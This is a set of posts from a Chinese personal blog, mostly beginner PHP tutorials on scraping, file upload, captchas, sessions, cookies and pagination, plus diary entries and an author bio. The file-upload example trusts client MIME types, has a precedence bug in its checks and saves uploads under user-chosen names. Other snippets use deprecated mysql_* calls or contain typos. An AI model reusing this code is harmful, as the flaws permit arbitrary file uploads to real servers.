找到包裹着正文的 HTML 标签,就可以使用 preg_match_all() 函数匹配出正文。
preg_match_all('/<div class="post-content">(.*)<\/div>/', $content, $result);
使用 var_dump() 函数打印 $result 变量。
图没了
从图中可以看出,打印出了一个二维数组,虽然匹配出了正文,但是里面还有一些 HTML 标签,接下来要做的就是使用 str_replace() 函数去掉这些标签。
$arr = array('<p>', '</p>', '<br/>');
$result = str_replace($arr, '', $result[1][0]);
最后输出变量 $result 就可以了。
完整代码:
$content = file_get_contents("https://her-cat.com");
preg_match_all('/<div class="post-content">(.*)<\/div>/', $content, $result);
$arr = array('<p>', '</p>', '<br/>');
$result = str_replace($arr, '', $result[1][0]);
echo $result;
最后总结,使用PHP采集网页需要注意的地方是,file_get_contents() 获取网页源代码的效率比较低,推荐使用 curl。还有就是正则表达式,正则表达式需要根据网页源代码来编写,并不是一成不变的。关于 curl 和正则表达式的知识可以使用百度了解!
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
定义一个二维字符串数组,用于储存学生信息:

添加学生信息的函数:

删除学生信息函数:

修改学生信息函数:

查询学生信息函数:

显示学生列表函数:

退出程序函数:

初始化学生信息函数:

还有一个是菜单,太长了,就没截图,具体看文件。
演示图:

源代码下载链接:StudentManager.zip
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
车上人比较少,可以躺着睡觉了,不过感觉根本就没有睡踏实,睡一两个小时就醒了。
后来手机没电,睡醒了以后整个人都懵了,怀疑自己是不是坐过站了。
补会觉~
]]>报错信息:(2)E_WARNING : Directive ’ magic_quotes_gpc’ is deprecated in PHP 5.3 and greater (register_shutdown_function) (150101) (Linux; kangle3.4.8; PHP 5.3.3; mysql; curl);(2)E_WARNING : Directive ‘safe_mode’ is deprecated in PHP 5.3 and greater (register_shutdown_function) (150101) (Linux; kangle3.4.8; PHP 5.3.3; mysql; curl);
然后我将 magic_quotes_gpc 和 safe_mode 百度了下,它们的作用就是自动帮你转义数据,提高了网站的安全性。但是php5.3已经不推荐使用这个函数,在php5.4的时候被废弃了,为的是让 PHP 开发者提高安全意识,而不是依赖这个函数。
知道原因了就好办了,在 php.ini 中修改成 off 就行了。
magic_quotes_gpc = off;
safe_mode = off;
如果是虚拟空间的话,则在 .htaccess 文件中禁用。
php_flag magic_quotes_gpc Off
php_flag safe_mode Off
我看了下 zblog 的源码,它是自定义了一个转义函数。
function _stripslashes(&$var)
{
if (is_array($var)) {
foreach ($var as $k => &$v) {
_stripslashes($v);
}
} else {
$var = stripslashes($var);
}
}
_stripslashes($_GET);
_stripslashes($_POST);
_stripslashes($_COOKIE);
_stripslashes($_REQUEST);
终于可以愉快的玩耍了~
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
深深的无力感。
言多必失。
]]>首先创建一个 HTML 表单,用于提交上传的文件,这里需要注意的是,在上传文件的表单中,必须使设置 enctype=“multipart/form-data” 来确保匿名上传文件的正确编码。
<form action="./upload.php" name="upload_form" method="post" enctype="multipart/form-data">
<input type="file" name="img">
<input type="submit" name="submit" value="上传">
</form>
input 标签的 type=“file” 属性规定了应该把输入作为文件来处理。用户选择好需要上传的文件以后,点击上传按钮。通过 post 方式提交给 upload.php 文件。当upload.php 接收到提交过来的文件时,PHP 会用一个全局数组 $_FILES 来储存被上传的文件的一些信息,当我们使用 var_dump() 函数打印 $_FILES 数组可以获得以下信息:
这是一种非常简单文件上传方式。但是基于安全方面的考虑,我们应该做一些限制,例如限制用户只能上传格式为 .png 或者 .gif 的图片,且大小必须小于 100kb。
if ($_FILES["img"]["size"] < 10000 && $_FILES["img"]["type"] == "image/png" || $_FILES["img"]["type"] == "image/gif") {
if ($_FILES["img"]["error"] > 0) { //当error为0表示上传成功
echo "错误信息: " . $_FILES["img"]["error"] . "<br />";
} else {
echo "文件名称: " . $_FILES["img"]["name"] . "<br />";
echo "文件类型: " . $_FILES["img"]["type"] . "<br />";
echo "文件大小: " . ($_FILES["img"]["size"] / 1024) . " Kb<br />";
echo "文件临时存储路径: " . $_FILES["img"]["tmp_name"];
}
} else {
echo "无效的文件!";
}
上面的例子虽然输出了文件的信息,但是并没有将文件储存在服务器上,只是将被上传的文件放在了服务器的一个临时目录。接下来我们要做的就是使用move_uploaded_file() 函数,把文件从临时目录中移动到我们指定的目录下面。
move_uploaded_file() 语法:move_uploaded_file(“需要移动的文件”, “文件的新位置”)
<?php
if ($_FILES["img"]["size"] < 10000 && $_FILES["img"]["type"] == "image/png" || $_FILES["img"]["type"] == "image/gif") {
if ($_FILES["img"]["error"] > 0) { //当error为0表示上传成功
echo "错误信息: " . $_FILES["img"]["error"] . "<br />";
} else {
echo "文件名称: " . $_FILES["img"]["name"] . "<br />";
echo "文件类型: " . $_FILES["img"]["type"] . "<br />";
echo "文件大小: " . ($_FILES["img"]["size"] / 1024) . " Kb<br />";
echo "文件临时存储路径: " . $_FILES["img"]["tmp_name"] . "<br/>";
move_uploaded_file($_FILES["img"]["tmp_name"], "upload/" . $_FILES["img"]["name"]);
echo "移动后的路径: " . "upload/" . $_FILES["img"]["name"];
}
} else {
echo "无效的文件!";
}
?>
在上面的代码中, 我们将文件保存到了名为 “upload” 的新文件夹。
注:必须确认"upload"已存在,否则将会报错。
好了,关于如何使用文件上传已经讲完了,你看懂了吗?
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
跟电脑一样,运行php程序需要先搭建环境,电脑上有phpstudy、wamp这些一键安装的环境,安卓手机上也有一键安装环境的软件。
软件名称: PalapaWEB 安卓PHP服务器
软件简介: PalapaWEB可以把你的Android设备变成一个Web和数据库服务器,这是免费的,你不需要root权限来运行PalapaWeb服务器!
PalapaWeb软件下载地址:WEBServer.zip (15M)
该版本不是官方最新版,如果需要最新版请百度,最新版是没有汉化过的。该版本软件内部操作功能已经大部分汉化。
软件详情:
PHP版本: 5.5.1
Lighttpd版本: 1.4.32
MySQL版本: 5.1.69
Msmtp版本: 1.4.31
phpMyAdmin版本: 4.0.4.1
Web Admin版本: 1.0.1
根目录: /sd/pws/www
浏览器访问: 127.0.0.1:8080
Web Admin: 127.0.0.1:9999
用户名/密码: admin
MySQL:
主机: localhost (127.0.0.1)
端口: 3306
用户名: root
密码: adminadmin
phpMyAdmin:
地址: 127.0.0.1:9999/phpmyadmin
用户名: root
密码: adminadmin
PalapaWeb 安装完成以后,打开 PalapaWeb 会提示你安装核心程序,大概占用 50m 内存,点确认即可,稍等片刻就行了。
然后将php程序放在 /sd/pws/www 目录下,用浏览器访问 127.0.0.1:8080 就搭建完成了。
其实还有其他类似的安卓应用,例如 ksweb、安卓 PHP 服务器等,我选择PalapaWeb 最重要的一个原因就是此程序不需要 root,也就是不用获取最高权限。
放两张图片演示:

介绍完了搭建环境的软件,该说下编辑器了,总不能用备忘录吧?
对于编辑器我没有太多要求,只要有行号、代码高亮、多窗口就行了,920编辑器完全符合我的要求。
软件名称:920编辑器
软件简介: 920文本编辑器(920 Text Editor)是一款运行于Android手机上功能强大的文本编辑器。 特色功能: 多标签,你可以在不同的标签打开不同的文件,方便你在不同的文本之本切换编辑 语法高亮 显示行号 显示空白字符(制表符,换行符) 自动检测打开的文件编码,同时你也可以转换当前文件编码 方便的工具栏,你可以快捷进行文件新建、打开、保存、另存为、撤销/重做、一些常用符号、返回上次编辑位置等等 最近打开的文件历史列表 正则查找、替换或替换全部 更改字体和字体大小 “自动换行” 开关等等。
下载地址:583d80b5b25eb.zip
放两张图片:

好了,安卓php运行及编辑器软件的介绍就到这里了,祝大家学有所成!
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
通常我们使用 AJAX 实现点击验证码时刷新生成新的验证码,即“看不清换一张”。填写验证码后,还需要验证所填验证码是否正确,验证的过程是要后台程序来完成,但是我们也可以通过 AJAX 来实现无刷新验证。
我们首先创建一个 index.html 页面,引入 jQuery 文件,同时在 body 中加入表单元素:
验证码:看不清,点击换一张
在html中使用即可调用验证码,当点击验证码时刷新验证码。
代码:
$("#img_code").live('click',function(){
$("#img_code").attr("src",'./img_code.php?' + Math.random());
});
注: 请求 img_code.php 时要带上随机参数防止浏览器缓存。
刷新验证码,其实就是重新请求了生成验证码的php文件。接下来填写好验证码之后,点“提交”按钮,通过 $.post() 向 check_code.php 发送 AJAX 请求。
$("#check_code").live('click',function(){
var code_num = $("#code").val();
if(code_num == ''){
alert('验证码不能为空!');
return false;
}
$.post("check_code.php",{"code":code_num},function(msg){
if(msg=='yes'){
alert("验证码正确!");
}else{
alert("验证码错误!");
}
});
check_code.php 代码:
session_start();
$code_num = trim($_POST['code']);
if($code_num == $_SESSION["code"]){
echo 'yes';
}else{
echo 'no';
}
check_code.php 文件根据 session 的值与用户输入的值作比较,判断是否正确。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
今天就来讲下如何用 PHP 创建一个验证码。
先生成四位验证码,将生成的验证码赋值给session,用于验证:
$code = '';
for ($i = 0; $i < 4; $i++) {
$code . =rand(0, 9);
}
$_SESSION['code'] = $code;
也可以直接使用 rand(1000, 9999) 直接生成。
然后再使用 imagecreate() 创建画布:
$im = imagecreate(50,15); //imagecreate(宽度 ,高度);
然后再定义颜色值:
$bg = imagecolorallocate($im, 255, 255, 255);
$te = imagecolorallocate($im, 255, 0, 0);
再将生成的 4 位验证码画在画布上:
imagestring($im, 6, 3, 2, $code, $te);
最后输出图像:
header("Content_type: image/png");
imagejpeg($im);
完整代码:
<?php
session_start();
$code = '';
for ($i = 0; $i < 4; $i++) {
$code .= rand(0, 9);
}
$_SESSION['code'] = $code;
$im = imagecreate(50, 15); //imagecreate(宽度 ,高度);
$bg = imagecolorallocate($im, 255, 255, 255);
$te = imagecolorallocate($im, 255, 0, 0);
imagestring($im, 6, 3, 2, $code, $te);
header("Content_type: image/png");
imagejpeg($im);
将以上代码保存为 img_code.php,在 HTML 页面插入一句代码:
<img src="img_code.php">
是不是感觉很简单呢?这只是比较基础图片验证码,容易被一些软件所识别,所以要加入噪点和干扰线防止注册机器分析原图片来恶意破解验证码。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
session 变量用于存储有关用户会话的信息,或更改用户会话的设置。session 变量保存的信息是单一用户的,并且可供应用程序中的所有页面使用。
在创建 session 前,必须先使用 session_start() 启动会话。 例子: 创建一个 session,名字为 userName,将"她和她的猫"赋值给这个 session。
<?php
session_start();
$_SESSION['userName'] = '她和她的猫';
?>
取回 session 和取回 cookie 一样,直接输出就行。
<?php
//取回session
echo $_SESSION['userName'];
?>
例子:使用isset()函数判断是否设置了 session。
<?php
if (isset($_SESSION['userName'])) {
echo '$_SESSION["userName"] 已设置';
} else {
echo '$_SESSION["userName"] 未设置';
}
?>
如果需要删除指定的 session,可以使用 unset();
<?php
unset($_SESSION['userName']);
?>
如果要删除所有 session,就使用 session_destroy();
<?php
session_destroy();
?>
使用 session_destroy() 后,所有储存的 session 数据都将被重置!
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
使用 setcookie() 用于创建 cookie。
setcookie(cookie名, cookie值, 过期时间, 路径, 域名);
一般情况下路径和域名不设置,这里简单说明其作用, 路径是规定 cookie 的服务器路径。域名是规定 cookie的域名。实例:创建一个 cookie,名字为 userName,cookie 值为“她和她的猫”,过期时间为一个小时。
<?php
setcookie('userName', '她和她的猫', time()+3600);
?>
“userName” 是 cookie 的名称,在取回 cookie 时需要用到,“ 她和她的猫 ”是 cookie 的值,“time()+3600”是用当前的时间加上 60 秒 * 60分,也就是过期时间为一小时后过期。
可以通过 $HTTP_COOKIE_VARS[‘userName’] 或 $_COOKIE[‘userName’] 来取回名为 “userName” 的 cookie 的值。取回 cookie 的代码:
<?php
// 取回单个cookie
echo $_COOKIE['userName'];
echo '<br/>';
echo $HTTP_COOKIE_VARS['userName'];
echo '<br/>';
// 取回所有cookie
var_dump($_COOKIE);
?>
只需要将过期时间设置为过去的时间点即可。删除 cookie 的代码:
<?php
setcookie('userName', '', time()-3600);
?>
使用 isset() 函数,该函数返回的是一个 bool 值。
<?php
if (isset($_COOKIE['userName'])) {
echo '$_COOKIE["userName"] 已设置';
} else {
echo '$_COOKIE["userName"] 未设置';
}
?>
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
假设我们有 100 条数据,要在每页中显示 10 条,这样的话就会分 10 页来显示,我们先看一看在 MySQL 里提取 10 条数据是如何操作的。
mysql_query("SELECT * FROM `article` LIMIT 0, 10");
上面是一条很简单的数据库查询语句,它的意思就是从名叫 “article” 的表里面提取 10 条数据,细心的朋友可能已经知道了,这条查询语句最关键的就是 limt 0, 10。为了让你们更容易理解,我用 a 和 b 替换掉 0 和 10。limit a, b 就是从第a条记录开始,取出 b 条数据,a 表示从哪里开始取出数据,b 表示取多少条,也就是限定条件,限定他只能取多少条。假如一页显示 10 条数据,那么 b 就是 10,一页显示 20 条数据,b 就是 20。
看几个例子:
Limit 0,10 //第一页
Limit 10,10 //第二页
Limit 20,10 //第三页
Limit 30,10 //第四页
看出什么规律了吗?没错,每翻一页,第一个参数加 10,而第二个参数一直不变。
可能有人就会问,为什么第一个参数会变,而第二个参数不变呢?上面已经说过了,第一个参数表示从哪里开始,每翻一页加 10,这 10 条数据在上一页已经显示过了,所以就要加 10 从它的后面开始取出这一页数据。第二个参数因为我们要每一页都只显示 10 条数据,所以第二个数值一直不变。
也就是说,只要我们改变第一个参数的值就可以实现分页了,那我们要怎么改变呢?没错,用url的GET方式获取页数。例如 index.php?page=5 相信大家对这种url不陌生吧?可以说随处可见,其中的 page 参数就是要显示的页数。
看一小段代码:
$page = $_GET['page'];// 接受url中的page参数
if($page == ""){
$page = 1; //如果page不存在,那么页数就是1;
}
$page_size = 10; //每页显示10条数据,也就是第二个参数
现在我们要获取数据库中到底有多少条数据,才能判断要分多少页,
具体的公式:总数据条数 除以 每页显示的条数等于总页数,也就是说 100/10=10,还有一种情况有余数, 10/3=3.3333 有余数存在总页数就要加1,所以总页数为4 。
计算页数代码:
$total = mysql_num_rows(mysql_query("SELECT * FROM `article`")); //查询总共有多少条数据
$page_num = ceil($total / $page_size); //获得总页数 ( 总数据条数 除以 每页显示的条数 )
$offset = ($page - 1) * $page_size; // 获取limit第一个参数, (传入的页数-1) * 每页显示的条数
//假如第一页则为(1-1)*10=0,第二页为(2-1)*10=10。
$info = mysql_query("SELECT * FROM `article` limit $offset, $page_size"); //获取相应页数所需要显示的数据
还有最后一步,显示分页信息,代码部分:
if ($page > 1) {
echo '« 上页 ';
}
for ($i = 1; $i <= $page_num; $i++) {
if ($i == $page) {
echo '' . $i . ' ';
continue;
}
echo '' . $i . ' ';
}
if ($page < $page_num) {
echo '下页 » ';
}
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
$(this).attr("src","__PUBLIC__/Images/logo.png");
运行的时候会发现 __PUBLIC__ 没有被解析,怎么办呢? TP 官方的回答是,引入的外部资源文件是不会被 TP 的模板引擎解析的~ 你需要的话 只能从外部传变量进去。那么我们就可以在模板文件中定义一个变量,用来储存系统常量模板引擎解析后的URL地址。
模板文件代码:
<script>var publicUrl = "__PUBLIC__";</script>
JS文件代码:
$(this).attr("src",publicUrl+"/Images/logo.png");
这样就可以在Js文件中使用系统常量了;同样也可以__PUBLIC__换成U()函数等。如果有更好的方法,欢迎评论~
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
你好,我是她和她的猫(her-cat)。
最开始接触编程,是因为我想做一个类似「糗事百科」的笑话分享网站。
那时候从论坛上找到了一个用 PHP + Smarty 写的程序,使用中遇到问题需要修改,但找别人改要花钱,索性自己学。于是跟好友一起买了两本《PHP 从入门到精通》,这本书虽然没能让我精通 PHP,不过也算是入了门。
2016 年,想记录一些学习笔记和踩过的坑,就搭建了这个博客。
2018 年,看了宫崎骏的《她和她的猫》,觉得这个名字挺不错,就注册了 her-cat.com,一直用到现在。
过去这些年,一直在做后端开发,期间研究了 PHP 生态的不少东西。给 Hyperf 提交了一些 PR,也写了 Hyperf 设计与实现、Yar 源码阅读笔记等系列文章。
2024 年,转到了运维开发方向,现在主要在学习云原生相关的东西。后面博客里也会多一些这方面的内容。
博客使人头脑清晰。它帮你理清思绪,锐化视角。当你写作时,你会思考得更好。当你思考得更好时,你会做出更好的成果。
博客的目标读者,其实不是互联网人群,而是未来的你,你的文章会让你看到自己思想的演变。
此外,未来也许有一天,某个真正需要你文章的人,会找到它。一篇有深度的文章比一篇病毒式传播的文章,影响力更持久。
写博客有点像街头摄影。你手拿相机,漫步在城市中。你看到一个场景 —— 一个充满光、影、人性的瞬间,就拍下了它。
没人关心你拍到了什么。但这不是你摄影的原因,你摄影是因为你看到了一些东西。
写博客也一样。你写博客是因为你在思考,因为你在观察,因为你希望把它放在某个地方。
如果有人读了,那就更好了。如果没有,工作还是完成了。
这才是真正的重点。
如果你对我的文章有什么想法,或者发现了什么问题,欢迎随时联系我。
